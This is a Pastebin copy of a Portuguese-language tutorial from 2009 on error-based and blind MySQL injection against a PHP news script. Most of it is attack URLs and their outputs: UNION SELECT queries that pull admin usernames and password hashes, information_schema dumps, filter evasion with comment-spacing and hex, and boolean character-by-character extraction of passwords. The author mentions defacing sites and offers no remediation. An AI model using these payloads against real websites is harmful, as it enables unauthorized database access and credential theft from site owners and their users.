Advertisement
lollhosh

slq injection e blind

May 12th, 2017
638
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.64 KB | None | 0 0
  1. Titulo : MySQL Injection Tutorial
  2. Autor : fvox (Júnior)
  3. Data : 11.02.2009
  4.  
  5. ##########################
  6. Índice - MySQL Injection
  7. ##########################
  8.  
  9. SQL Injection
  10. [0x00] - Sobre o ataque
  11. [0x01] - Onde acontece
  12. [0x10] - Verificando a vulnerabilidade
  13. [0x11] - Atacando!
  14. [0x12] - Capturando dados
  15. [0x13] - MySQL Dump
  16. [0x14] - Burlando filtros
  17.  
  18. Blind Injection
  19. [0x00] - Sobre o ataque
  20. [0x10] - Verificando a vulnerabilidade
  21. [0x12] - Achando uma tabela
  22. [0x13] - Achando uma coluna
  23. [0x14] - Capturando dados
  24.  
  25.  
  26. #########################
  27. [0x00] - Sobre o ataque
  28. #########################
  29.  
  30. Antes de começar o tutorial, eu recomendo que você tenha uma noção sobre SQL, nem que seja
  31. uma noção mínima para não ter dificuldade em entender o funcionamento de um ataque em um site
  32. vulnerável a (Blind) MySQL Injection
  33. O único requerimento para este ataque é um browser comum. Inicialmente voc?s não precisarão
  34. de scanners ou tools para explorar a falha, portanto, procure ENTENDER o que está escrito aqui
  35. pois creio que atualmente, esta é a falha mais encontrada na internet, porém não é a mais fácil
  36. de explorar e fazer o deface em um web site. Vocês não terão uma phpshell em mãos onde só irão
  37. clicar no botãozinho e a phpshell altera "automaticamente" a index de um site, como acontece em
  38. falhas de include (Local File Inclusion e Remote File Inclusion).
  39.  
  40.  
  41. ########################
  42. [0x01] - Onde acontece
  43. ########################
  44.  
  45. Como alguns de vocês devem saber, este tipo de ataque não depende da linguagem de programação
  46. do script (a correção da falha depende), e sim do banco de dados SQL, ou seja, você pode encontrar
  47. a vulnerabilidade em um site feito em PHP, mas também pode encontrar em um site feito em ASP.
  48. No caso desta matéria, irei abordar os ataques em um servidor MySQL e PHP. A falha também não
  49. depende do tipo da requisição, ou seja, é possível encontrar vuln em requests GET, POST, e o que
  50. seja manipulável pelo cliente. Nesta matéria eu irei exemplificar com requisições GET, já que é
  51. a mais manipulável e a melhor para usar nas explicações. Eu usarei um sistema de notícias que
  52. pega o ID da notícia via GET durante toda a matéria.
  53.  
  54.  
  55. -------------------------------
  56. SQL INJECTION ATTACK
  57. -------------------------------
  58.  
  59. ########################################
  60. [0x10] - Verificando a vulnerabilidade
  61. ########################################
  62.  
  63. SQL Injection só é possível quando o site te informa qual o erro que o banco de dados caso
  64. não seja possível fazer a consulta no banco de dados. Por exemplo:
  65.  
  66. <?php
  67. $id = $_GET['id'];
  68. $q = "SELECT * FROM noticias WHERE id = '$id'";
  69. $r = mysql_query($q) or die(mysql_error());
  70. ?>
  71.  
  72. Como vimos ali, caso não seja possível enviar a consulta ao MySQL, o script é
  73. interrompido exibindo a mensagem de erro da operação enviada ao MySQL. Se eu entrar em
  74. http://www.fvox.com/noticias.php?id=10%27 (lembrando que %27 equivale a uma aspa simples ').
  75. A query a ser enviada seria a seguinte:
  76. SELECT * FROM noticias WHERE id = '10''
  77.  
  78. A aspa inserida na URL iria modificar a sintaxe da consulta, então a função mysql_error()
  79. retornaria algo parecido com:
  80. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
  81. version for the right syntax to use near ''10''' at line 14
  82.  
  83. É claro que o servidor pode emitir outros erros, mas desde que exiba um erro, já é
  84. alguma coisa para que você possa realizar seus penetration tests com grande esperança,
  85. o que te motiva bastante.
  86.  
  87.  
  88. ####################
  89. [0x11] - Atacando!
  90. ####################
  91.  
  92. Depois de ver que o site está vulnerável, o próximo passo é descobrir a quantidade de
  93. colunas da tabela noticias. Isso é possível utilizando a cláusula "order by", que não irei
  94. explicar para que serve porque como já disse no início da matéria, estou escrevendo para
  95. usuários que já tem experiência com MySQL e não para o Sander e outros saírem por aí pixando
  96. o site de todo mundo, AUHAUHAUHAU.
  97.  
  98. SELECT * FROM noticias WHERE id = '$id' order by 1/* Ignora o resto da query
  99.  
  100. http://www.fvox.com/noticias.php?id=10 order by 1/* Não deu erro
  101. http://www.fvox.com/noticias.php?id=10 order by 2/* Não deu erro
  102. http://www.fvox.com/noticias.php?id=10 order by 3/* Não deu erro
  103. http://www.fvox.com/noticias.php?id=10 order by 4/* DEU ERRO! Unknown column '4' in 'order clause'
  104.  
  105. É só ir dando order by até dar erro, cada site em um número de colunas diferentes, não
  106. pensem que vocês irão realizar o ataque com quatro colunas em todos os sites.
  107. Com base nos erros enviados pelo site, pudemos perceber que a tabela noticias do nosso site
  108. imaginário possui três colunas, e será com elas que iremos trabalhar.
  109.  
  110. ###########################
  111. [0x12] - Capturando dados
  112. ###########################
  113.  
  114. Agora iremos utilizar o operador UNION, que também não irei explicar para que serve...
  115. Essa porra tá com 110 linhas e eu ainda nem cheguei na metade, puta que pariu.
  116.  
  117. SELECT * FROM noticias WHERE id = '$id' union all select 1,2,3--
  118.  
  119. http://www.fvox.com/noticias.php?id=-1 union all select 1,2,3--
  120.  
  121. Quando você injetar isso na URL, o site irá imprimir um "número" na tela, seja ele 1, 2
  122. ou 3. Se o site mostrou um 2 na tela, substituia o número 2 por "@@version". O site irá
  123. imprimir a versão do banco de dados na tela.
  124. Se colocarmos database() no lugar do 2, o site irá imprimir o nome do banco de dados
  125. em que a tabela está.
  126.  
  127. http://www.fvox.com/noticias.php?id=-1 union all select 1,@@version,3--
  128. 5.1.30-gpl-log
  129. http://www.fvox.com/noticias.php?id=null union all select 1,database(),3--
  130. fvox (digamos que o nome do db imaginário seja fvox, LOL)
  131.  
  132. Agora vem uma parte chata. Você terá que chutar o nome da tabela! Isso mesmo, você
  133. terá que adivinhar o nome da droga da tabela. Você pode tentar admin, users, usuarios,
  134. membros, cadastros, administrador, etc.
  135. Caso a versão do MySQL seja 5.xxxx, você pode recorrer a uma técnica chamada
  136. MySQL Dump, onde você consegue o nome das tabelas e colunas por meio da tabela
  137. information_schema. Se a versão do MySQL for 4 e você não conseguir adivinhar
  138. o nome da tabela, desista do site. Como eu usei a versão 5.1.30-gpl-log como exemplo
  139. desta matéria, eu irei abordar como "dumpar" as tabelas e colunas mais para frente.
  140.  
  141. http://www.fvox.com/noticias.php?id=-1 union all select 1,2,3 from users-- Table
  142. 'fvox.users'doesn't exist
  143. http://www.fvox.com/noticias.php?id=-1 union all select 1,2,3 from admin-- Não deu erro!
  144.  
  145. Deste modo, chegamos a conclusão de que há uma tabela chamada admin, que certamente
  146. guarda dados do administrador e que este tutorial está ficando muito grande pro meu gosto.
  147. Agora que descobrimos a tabela, iremos novamente nos foder para descobrir o nome das colunas
  148. para pegar as informações do admin.
  149.  
  150. http://www.fvox.com/noticias.php?id=-1 union all select 1,user,3 from users-- Erro
  151. http://www.fvox.com/noticias.php?id=-1 union all select 1,concat_ws(0x3a,username,password),3 from
  152. users-- FUNFOU!
  153. fvox:536facb9b05a48e2adb15866353b62ee
  154.  
  155. A função concat_ws é só para organização mesmo. O "ws" no nome da função significa with
  156. separator. Todos as colunas no parametro da função serão exibidas na página com o separador ":".
  157. Neste caso, o site imprimiu os dados da coluna USERNAME e coluna PASSWORD com o separador.
  158.  
  159.  
  160. #####################
  161. [0x13] - MySQL Dump
  162. #####################
  163.  
  164. O famoso "Dump" é uma técnica disponível apenas em servidores que utilizam MySQL na sua
  165. versão 5.xxx. A utilidade do Dump é que você não precisará ficar chutando o nome das tabelas
  166. e nem o nome das colunas, graças ao information_schema. Primeiramente, vamos listar o nome
  167. das tabelas do banco de dados:
  168.  
  169. http://www.fvox.com/noticias.php?id=-1 union all select 1,table_name,3 from information_schema.tables--
  170.  
  171. Para obter o nome das colunas é quase a mesma coisa:
  172.  
  173. http://www.fvox.com/noticias.php?id=-1 union all select 1,column_name,3 from information_schema.columns--
  174. http://www.fvox.com/noticias.php?id=-1 union all select 1,column_name,3 from information_schema.columns
  175. where table_name='admin'--
  176.  
  177.  
  178.  
  179. ###########################
  180. [0x14] - Burlando filtros
  181. ###########################
  182.  
  183. Como vocês já sabem, em toda parte do mundo há programadores burros, ou melhor, MUITO burros.
  184. Já encontrei filtros ridículos por aí (não só filtros para SQL Injection). Alguns programadores removem
  185. os espcaços da URL ou fazem uma verificação feia. Porém, este tipo de filtro é extremamente
  186. fácil de ser burlado.
  187. Nós podemos substituir os espaços da URL por "/**/" e inserir o número das colunas em hex. Para
  188. vocês entenderem melhor, vou exemplificar:
  189.  
  190. http://www.fvox.com/noticias.php?id=-1 union all select 1,concat_ws(0x3a,username,password),3 from
  191. users--
  192. http://www.fvox.com/noticias.php?id=-1/**/union/**/all/**/select/**/0x31,concat_ws(0x3a,username,password),0x33/**/from
  193. /**/users--
  194.  
  195. Fim do tutorial sobre SQL Injection.
  196.  
  197.  
  198. ---------------------------------
  199. BLIND SQL INJECTION ATTACK
  200. ---------------------------------
  201.  
  202.  
  203. #########################
  204. [0x00] - Sobre o ataque
  205. #########################
  206.  
  207. Como eu já expliquei acima, SQL Injection é uma técnica baseada nos erros que o script
  208. que realiza a conexão nos mostra em caso de erro. A principal diferença entre o SQL
  209. Injection normal e o Blind SQL Injection é que em Blind, não necessitamos das informações
  210. que o servidor nos mostra.
  211. É por isso que o nome do ataque é "Blind Injection" (Injeção cega em português). Nós apenas
  212. injetamos algo e o servidor retorna apenas valores booleanos (true ou false) durante o ataque.
  213.  
  214.  
  215. ########################################
  216. [0x10] - Verificando a vulnerabilidade
  217. ########################################
  218.  
  219. Nesta parte da matéria, eu usarei como exemplo este script:
  220.  
  221. <?php
  222. /* [...] */
  223. $id = $_GET['id'];
  224. $sql = "SELECT * FROM noticias WHERE id = '$id'";
  225. $q = mysql_query($sql);
  226.  
  227. $r = @mysql_fetch_row($q);
  228. /* [...] */
  229. ?>
  230.  
  231. Como pudemos ver, o script esconde os erros da função mysql_fetch_row() utilizando
  232. o operador de controle de erro "@" antes de chamar a função. Muitos programadores
  233. acreditam que assim eles estarão seguros, mas é aí que eles se enganam, mWhahHaHAhaHa.
  234. Para verificar se um site está ou não vulnerável, nós adicionados uma string na URL.
  235. Se a página retorna o valor true, a página é exibida normalmente. Se a página retornar
  236. false, não deve ser exibido a consulta na página (no caso, a notícia).
  237.  
  238. TRUE: http://www.fvox.com/noticias.php?id=1 AND 1=1
  239. FALSE: http://www.fvox.com/noticias.php?id=1 AND 1=0
  240.  
  241.  
  242. ####################
  243. [0x12] - Achando uma tabela
  244. ####################
  245.  
  246. Seguindo o exemplo da matéria sobre SQL Injection, vou manter a tabela 'admin'. O
  247. exemplo abaixo retorna FALSE porque não existe uma tabela chamada "users".
  248.  
  249. http://www.fvox.com/noticias.php?id=1 AND(SELECT Count(*) FROM users)
  250.  
  251. Agora se tentarmos com a tabela 'admin' o site retornaria TRUE:
  252.  
  253. http://www.fvox.com/noticias.php?id=1 AND(SELECT Count(*) FROM admin)
  254.  
  255.  
  256. #############################
  257. [0x13] - Achando uma coluna
  258. #############################
  259.  
  260. Pegar o conteúdo de uma coluna é bem fácil. O problema, como sempre, é capturar
  261. o nome dela. Essa história de ficar adivinhando o nome das tabelas e coluna é chata!
  262. O exemplo abaixo retorna FALSE porque a coluna "nick" não existe:
  263.  
  264. http://www.fvox.com/noticias.php?id=1 AND(SELECT Count(nick) FROM admin)
  265.  
  266. Ainda seguindo o exemplo da outra parte da matéria, temos a coluna username e
  267. a coluna password dentro da tabela admin. E então, ao usar Count(password), o site
  268. retornará true, avisando que a coluna PASSWORD existe:
  269.  
  270. http://www.fvox.com/noticias.php?id=1 AND(SELECT Count(password) FROM admin)
  271.  
  272.  
  273. ###########################
  274. [0x14] - Capturando dados
  275. ###########################
  276.  
  277. Para pegar o conteúdo de uma coluna, nós temos que adivinhar outra coisa, mas
  278. dessa vez é algo mais simples. Temos que adivinhar a quantidade de caracteres que
  279. o valor dessa coluna possui.
  280. Por exemplo, se a senha do admin que está na coluna PASSWORD da tabela ADMIN é
  281. "synyster", vimos que esta senha possui 8 caracteres. Agora vamos montar o exploit:
  282.  
  283. http://www.fvox.com/noticias.php?id=1 AND(SELECT length(password) FROM admin where
  284. id=1)=4 //FALSE
  285. http://www.fvox.com/noticias.php?id=1 AND(SELECT length(password) FROM admin where
  286. id=1)=6 //FALSE
  287. http://www.fvox.com/noticias.php?id=1 AND(SELECT length(password) FROM admin where
  288. id=1)=8 //TRUE
  289.  
  290. Agora que já sabemos quantos caracteres a senha do administrador tem, nós
  291. precisamos pegar caractere por caractere. Acho que é a pior parte. Eu recomendo que
  292. vocês programem um script que teste caractere por caractere, porque fazer na mão
  293. vai ser foda!
  294. Por exemplo, o valor da letra "f" em ascii é 102. E então, vou fazer a verificação
  295. para ver se a primeira letra da coluna PASSWORD da tabela ADMIN é "f":
  296.  
  297. http://www.fvox.com/noticias.php?id=1 AND ascii(substring((SELECT concat(password) from
  298. admin limit 0,1),1,1))=102
  299.  
  300. Neste caso, o site iria retornar false, pois como citei no exemplo acima, a senha
  301. do admin é "synyster". Se eu tivesse colocado o valor da letra "s" ali, o site iria
  302. retornar true. Agora, para exemplificar melhor, eu irei pegar o segundo caractere:
  303.  
  304. http://www.fvox.com/noticias.php?id=1 AND ascii(substring((SELECT concat(password) from
  305. admin limit 0,1),2,1))=121
  306.  
  307. O site retornou TRUE, pois o segundo caractere é 121 (y). Realmente é bem chato ficar
  308. testando caractere por caractere, mas há diversas tools por ai que facilitam este trabalho.
  309.  
  310. Fim do tutorial.
  311.  
  312. Atenciosamente,
  313. fvox.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement